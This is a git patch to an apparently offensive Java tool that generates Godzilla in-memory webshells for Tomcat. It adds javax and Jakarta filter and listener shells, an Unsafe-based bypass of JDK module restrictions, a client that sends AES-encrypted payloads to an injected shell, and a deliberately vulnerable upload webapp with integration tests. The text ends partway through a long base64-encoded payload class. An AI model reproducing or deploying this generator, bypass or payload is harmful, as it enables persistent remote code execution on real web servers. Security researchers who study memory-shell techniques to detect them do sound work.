From b6ce6581a0e7800e16854776ef1abdf21662eaa1 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 29 Nov 2024 02:02:04 +0800 Subject: [PATCH] feat: support bypassJdkModule and Jakarta --- .github/workflows/ci.yaml | 16 +- build.gradle | 65 ++--- generator/build.gradle | 32 +- .../com/reajason/javaweb/GeneratorMain.java | 16 +- .../buddy/ByPassJdkModuleInterceptor.java | 51 ++++ .../buddy/ServletRenameVisitorWrapper.java | 25 +- .../buddy/TargetJDKVersionVisitorWrapper.java | 57 ++++ .../reajason/javaweb/config/Constants.java | 11 + .../reajason/javaweb/config/ShellConfig.java | 5 +- .../javaweb/godzilla/GodzillaManager.java | 40 ++- .../javaweb/memsell/CommandGenerator.java | 2 + .../javaweb/memsell/GodzillaGenerator.java | 40 ++- .../javaweb/memsell/InjectorGenerator.java | 20 +- .../javaweb/memsell/tomcat/TomcatShell.java | 32 +- .../memsell/tomcat/command/CommandFilter.java | 2 +- .../tomcat/command/CommandJakartaFilter.java | 40 --- .../command/CommandJakartaListener.java | 70 ----- .../godzilla/GodzillaJakartaFilter.java | 120 -------- .../javaweb/GodzillaConnectionTest.java | 118 -------- .../javaweb/godzilla/GodzillaManagerTest.java | 100 +++++++ .../tomcat/godzilla/GodzillaValveTest.java | 22 +- .../TomcatGodzillaIntegrationTest.java | 113 -------- integration-test/build.gradle | 38 +++ .../tomcat/docker-compose-10.1-jre11.yaml | 10 + .../tomcat/docker-compose-6.0.53-jre7.yaml | 10 + .../src/test/java/annotation/ImageName.java | 16 + .../test/java/godzilla/BaseGodzillaTest.java | 59 ++++ .../src/test/java/tomcat/GodzillaTest.java | 32 ++ .../test/java/tomcat/TomcatGodzillaTest.java | 274 ++++++++++++++++++ settings.gradle | 5 +- vul-webapp-jakarta/build.gradle | 15 + .../src/main/java/ErrorHandler.java | 147 ++++++++++ .../src/main/java/UploadServlet.java | 46 +++ .../src/main/webapp/WEB-INF/web.xml | 29 ++ vul-webapp-jakarta/src/main/webapp/index.html | 1 + vul-webapp/build.gradle | 12 +- .../{ErrorHandler.java => ErrorFilter.java} | 10 +- .../src/main/java/ErrorListener.java | 112 ++++--- vul-webapp/src/main/webapp/WEB-INF/web.xml | 4 + vul-webapp/src/main/webapp/test.jsp | 36 --- 40 files changed, 1167 insertions(+), 686 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java create mode 100644 generator/src/main/java/com/reajason/javaweb/buddy/TargetJDKVersionVisitorWrapper.java create mode 100644 generator/src/main/java/com/reajason/javaweb/config/Constants.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaFilter.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaListener.java delete mode 100755 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilter.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/GodzillaConnectionTest.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/TomcatGodzillaIntegrationTest.java create mode 100644 integration-test/build.gradle create mode 100644 integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml create mode 100644 integration-test/docker-compose/tomcat/docker-compose-6.0.53-jre7.yaml create mode 100644 integration-test/src/test/java/annotation/ImageName.java create mode 100644 integration-test/src/test/java/godzilla/BaseGodzillaTest.java create mode 100644 integration-test/src/test/java/tomcat/GodzillaTest.java create mode 100644 integration-test/src/test/java/tomcat/TomcatGodzillaTest.java create mode 100644 vul-webapp-jakarta/build.gradle create mode 100644 vul-webapp-jakarta/src/main/java/ErrorHandler.java create mode 100644 vul-webapp-jakarta/src/main/java/UploadServlet.java create mode 100644 vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml create mode 100644 vul-webapp-jakarta/src/main/webapp/index.html rename vul-webapp/src/main/java/{ErrorHandler.java => ErrorFilter.java} (92%) rename generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListener.java => vul-webapp/src/main/java/ErrorListener.java (50%) delete mode 100644 vul-webapp/src/main/webapp/test.jsp diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index d5e55307..c9628009 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -18,19 +18,19 @@ jobs: java-version: 8 - name: Setup Gradle uses: gradle/actions/setup-gradle@v4 - - name: Test with Gradle - run: ./gradlew test + - name: Unit Test with Gradle + run: ./gradlew :generator:test --info + - name: Integration Test with gradle + run: ./gradlew :integration-test:test --info + continue-on-error: true + - name: Merge Jacoco + run: ./gradlew jacocoTestReport - name: Generate JaCoCo Badge uses: cicirello/jacoco-badge-generator@v2 with: - jacoco-csv-file: generator/build/reports/jacoco/test/jacocoTestReport.csv - badges-directory: .github/badges + jacoco-csv-file: build/reports/jacoco/test/jacocoTestReport.csv generate-coverage-badge: false - generate-branches-badge: false generate-coverage-endpoint: true - coverage-endpoint-filename: jacoco.json - generate-summary: true - summary-filename: coverage-summary.json - name: Upload uses: stefanzweifel/git-auto-commit-action@v5 with: diff --git a/build.gradle b/build.gradle index b527293a..d49ece40 100644 --- a/build.gradle +++ b/build.gradle @@ -1,51 +1,30 @@ -buildscript { - repositories { - maven { - url "https://plugins.gradle.org/m2/" - } - } - dependencies { - classpath "io.freefair.gradle:lombok-plugin:8.11" - } +plugins { + id 'java' + id 'jacoco' } -allprojects { - apply(plugin: 'java') - apply(plugin: 'jacoco') - apply(plugin: "io.freefair.lombok") - - repositories { - mavenCentral() +jacocoTestReport { + reports { + xml.required = true + csv.required = true + html.required = true } - - java { - toolchain { - languageVersion = JavaLanguageVersion.of(8) + afterEvaluate { + executionData.from fileTree(rootDir) { + include '**/build/jacoco/*.exec' } - } - test { - useJUnitPlatform() - finalizedBy jacocoTestReport - } + sourceDirectories = files('generator/src/main/java') - jacocoTestReport { - dependsOn test - } - - dependencies { - testImplementation 'org.slf4j:slf4j-simple:2.0.16' - testImplementation 'org.testcontainers:testcontainers:1.20.4' - testImplementation 'org.testcontainers:junit-jupiter:1.20.4' - testImplementation platform('org.junit:junit-bom:5.11.3') - testImplementation 'org.junit.jupiter:junit-jupiter' - } - - tasks.withType(Test).tap { - configureEach { - testLogging { - events "passed", "skipped", "failed" - } - } + classDirectories.from( + fileTree('generator/build/classes/java/main') { + excludes = [ + 'com/reajason/javaweb/memsell/**/godzilla/**', + 'com/reajason/javaweb/memsell/**/injector/**', + 'com/reajason/javaweb/memsell/**/command/**', + 'com/reajason/javaweb/config/**' + ] + } + ) } } \ No newline at end of file diff --git a/generator/build.gradle b/generator/build.gradle index d2b9bf3a..75af9485 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -1,29 +1,21 @@ +plugins { + id "java" + id "jacoco" + id "io.freefair.lombok" version "8.11" +} + +repositories { + mavenCentral() +} + group = 'com.reajason.javaweb.memsell' version = '1.0-SNAPSHOT' test { - dependsOn(":vul-webapp:build") useJUnitPlatform() finalizedBy jacocoTestReport } -jacocoTestReport { - reports { - html.required = true - csv.required = true - } - afterEvaluate { - classDirectories.setFrom(files(classDirectories.files.collect { - fileTree(dir: it, exclude: [ - 'com/reajason/javaweb/memsell/**/godzilla/**', - 'com/reajason/javaweb/memsell/**/injector/**', - 'com/reajason/javaweb/memsell/**/command/**', - 'com/reajason/javaweb/config/**' - ]) - })) - } -} - dependencies { implementation 'net.bytebuddy:byte-buddy:1.15.1' implementation 'javax.servlet:javax.servlet-api:3.0.1' @@ -49,4 +41,8 @@ dependencies { exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api' exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api' } + + + testImplementation platform('org.junit:junit-bom:5.11.3') + testImplementation 'org.junit.jupiter:junit-jupiter' } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 2f3335b4..d30750e3 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -3,6 +3,7 @@ package com.reajason.javaweb; import com.reajason.javaweb.config.*; import com.reajason.javaweb.memsell.packer.JspPacker; import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import net.bytebuddy.jar.asm.Opcodes; import java.io.IOException; import java.nio.file.Files; @@ -16,14 +17,14 @@ public class GeneratorMain { public static void main(String[] args) throws IOException { Server server = Server.TOMCAT; ShellTool shellTool = ShellTool.Godzilla; - String shellType = TomcatShell.FILTER; + String shellType = TomcatShell.JAKARTA_FILTER; GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() - .pass("pass") - .key("key") + .pass("passFilter") + .key("keyFilter") .headerName("User-Agent") .headerValue("test") .build(); - GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig); + GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11); if (generateResult != null) { String shellBytesBase64Str = generateResult.getShellBytesBase64Str(); String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); @@ -31,6 +32,7 @@ public class GeneratorMain { System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str); System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str); System.out.println(shellConfig); + Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes()); JspPacker jspPacker = new JspPacker(); String jspContent = new String(jspPacker.pack(generateResult)); System.out.println(jspContent); @@ -38,9 +40,13 @@ public class GeneratorMain { } public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) { + return generate(server, shellTool, shellType, shellConfig, Constants.DEFAULT_VERSION); + } + + public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) { switch (server) { case TOMCAT: - return TomcatShell.generate(shellTool, shellType, shellConfig); + return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion); case BES: break; case RESIN: diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java b/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java new file mode 100644 index 00000000..1d0bf84d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java @@ -0,0 +1,51 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.asm.Advice; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.modifier.Ownership; +import net.bytebuddy.description.modifier.Visibility; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FixedValue; +import net.bytebuddy.implementation.MethodCall; +import net.bytebuddy.implementation.bytecode.assign.Assigner; + +import java.lang.reflect.Field; + +import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer; +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + */ +public class ByPassJdkModuleInterceptor { + @Advice.OnMethodExit + public static void enter(@Advice.Origin Class clazz, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) boolean returnValue) { + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); + java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule"); + Object module = getModuleM.invoke(Object.class, (Object[]) null); + java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module"); + Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF); + java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, clazz, offset, module); + returnValue = true; + } catch (Exception ignored) { + } + } + + public static DynamicType.Builder extend(DynamicType.Builder builder) { + return builder + .defineField("isBypassModule", boolean.class, Visibility.PUBLIC, Ownership.STATIC) + .invokable(isTypeInitializer()) + .intercept(MethodCall.invoke(named("byPassJdkModule"))) + .defineMethod("byPassJdkModule", Object.class, Visibility.PUBLIC, Ownership.STATIC) + .intercept(FixedValue.value(false)) + .visit(new AsmVisitorWrapper.ForDeclaredMethods() + .method(named("byPassJdkModule"), + Advice.to(ByPassJdkModuleInterceptor.class))); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java b/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java index a402e332..579654d3 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java @@ -10,32 +10,35 @@ import net.bytebuddy.jar.asm.ClassVisitor; import net.bytebuddy.jar.asm.commons.ClassRemapper; import net.bytebuddy.jar.asm.commons.Remapper; import net.bytebuddy.pool.TypePool; +import org.jetbrains.annotations.NotNull; /** * @author ReaJason * @since 2024/11/23 */ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper { + public static ServletRenameVisitorWrapper INSTANCE = new ServletRenameVisitorWrapper(); + @Override public int mergeReader(int flags) { - return 0; + return flags; } @Override public int mergeWriter(int flags) { - return 0; + return flags; } + @NotNull @Override - public ClassVisitor wrap( - TypeDescription instrumentedType, - ClassVisitor classVisitor, - Implementation.Context implementationContext, - TypePool typePool, - FieldList fields, - MethodList methods, - int writerFlags, - int readerFlags) { + public ClassVisitor wrap(@NotNull TypeDescription instrumentedType, + @NotNull ClassVisitor classVisitor, + @NotNull Implementation.Context implementationContext, + @NotNull TypePool typePool, + @NotNull FieldList fields, + @NotNull MethodList methods, + int writerFlags, + int readerFlags) { return new ClassRemapper( classVisitor, new Remapper() { diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/TargetJDKVersionVisitorWrapper.java b/generator/src/main/java/com/reajason/javaweb/buddy/TargetJDKVersionVisitorWrapper.java new file mode 100644 index 00000000..7072bc5e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/buddy/TargetJDKVersionVisitorWrapper.java @@ -0,0 +1,57 @@ +package com.reajason.javaweb.buddy; + +import com.reajason.javaweb.config.Constants; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.field.FieldDescription; +import net.bytebuddy.description.field.FieldList; +import net.bytebuddy.description.method.MethodList; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.Opcodes; +import net.bytebuddy.pool.TypePool; +import net.bytebuddy.utility.nullability.MaybeNull; +import org.jetbrains.annotations.NotNull; + +/** + * @author ReaJason + */ +public class TargetJDKVersionVisitorWrapper implements AsmVisitorWrapper { + + public static final TargetJDKVersionVisitorWrapper DEFAULT = new TargetJDKVersionVisitorWrapper(); + + private final int targetJdkVersion; + + public TargetJDKVersionVisitorWrapper() { + targetJdkVersion = Constants.DEFAULT_VERSION; + } + + public TargetJDKVersionVisitorWrapper(int targetJdkVersion) { + this.targetJdkVersion = targetJdkVersion; + } + + @Override + public int mergeWriter(int flags) { + return flags; + } + + @Override + public int mergeReader(int flags) { + return flags; + } + + + @NotNull + @Override + public ClassVisitor wrap(@NotNull TypeDescription instrumentedType, + @NotNull ClassVisitor classVisitor, @NotNull Implementation.Context implementationContext, + @NotNull TypePool typePool, @NotNull FieldList fields, + @NotNull MethodList methods, int writerFlags, int readerFlags) { + return new ClassVisitor(Opcodes.ASM9, classVisitor) { + @Override + public void visit(int version, int modifiers, String name, @MaybeNull String signature, @MaybeNull String superClassName, @MaybeNull String[] interfaceName) { + super.visit(targetJdkVersion, modifiers, name, signature, superClassName, interfaceName); + } + }; + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/config/Constants.java b/generator/src/main/java/com/reajason/javaweb/config/Constants.java new file mode 100644 index 00000000..3d1affd2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/Constants.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.config; + +import net.bytebuddy.jar.asm.Opcodes; + +/** + * @author ReaJason + * @since 2024/11/28 + */ +public class Constants { + public static final int DEFAULT_VERSION = Opcodes.V1_6; +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java index 10d16131..aef4c6a9 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java @@ -6,6 +6,7 @@ import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; import lombok.experimental.SuperBuilder; +import net.bytebuddy.jar.asm.Opcodes; /** * @author ReaJason @@ -22,4 +23,6 @@ public class ShellConfig { private String injectorClassName = CommonUtil.generateInjectorClassName(); @Builder.Default private String urlPattern = "/*"; -} + @Builder.Default + private int targetJdkVersion = Opcodes.V1_5; +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index 238846c6..9805bc98 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.godzilla; +import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.memsell.GodzillaGenerator; import lombok.Getter; import lombok.Setter; @@ -11,6 +12,7 @@ import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.io.IOUtils; import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.tuple.Pair; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -42,6 +44,12 @@ public class GodzillaManager implements Closeable { CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8"); } + public static Pair getKeyMd5(String key, String pass) { + String md5Key = DigestUtils.md5Hex(key).substring(0, 16); + String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase(); + return Pair.of(md5Key, md5); + } + public static class GodzillaManagerBuilder { private String entrypoint; private String key; @@ -72,13 +80,11 @@ public class GodzillaManager implements Closeable { GodzillaManager manager = new GodzillaManager(); manager.setEntrypoint(entrypoint); manager.setPass(pass); - String md5Key = DigestUtils.md5Hex(key).substring(0, 16); - String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase(); - manager.setMd5(md5); - manager.setKey(md5Key); + Pair keyMd5 = getKeyMd5(key, pass); + manager.setKey(keyMd5.getLeft()); + manager.setMd5(keyMd5.getRight()); Map headers = new HashMap<>(16); headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"); - headers.put("Content-Type", "application/x-www-form-urlencoded"); headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"); headers.putAll(this.headers); @@ -97,7 +103,6 @@ public class GodzillaManager implements Closeable { private Response post(byte[] bytes) throws IOException { byte[] aes = aes(this.key, bytes, true); - assert aes != null; String base64String = Base64.encodeBase64String(aes); RequestBody requestBody = new FormBody.Builder() .add(this.pass, base64String) @@ -112,11 +117,13 @@ public class GodzillaManager implements Closeable { return client.newCall(builder.build()).execute(); } + @SneakyThrows public static byte[] generateGodzilla() { Random random = new Random(); String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size())); try (DynamicType.Unloaded make = new ByteBuddy() .redefine(Payload.class) + .visit(TargetJDKVersionVisitorWrapper.DEFAULT) .name(className) .make()) { return make.getBytes(); @@ -124,13 +131,19 @@ public class GodzillaManager implements Closeable { } public boolean start() { +// byte[] bytes = Base64.decodeBase64("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAU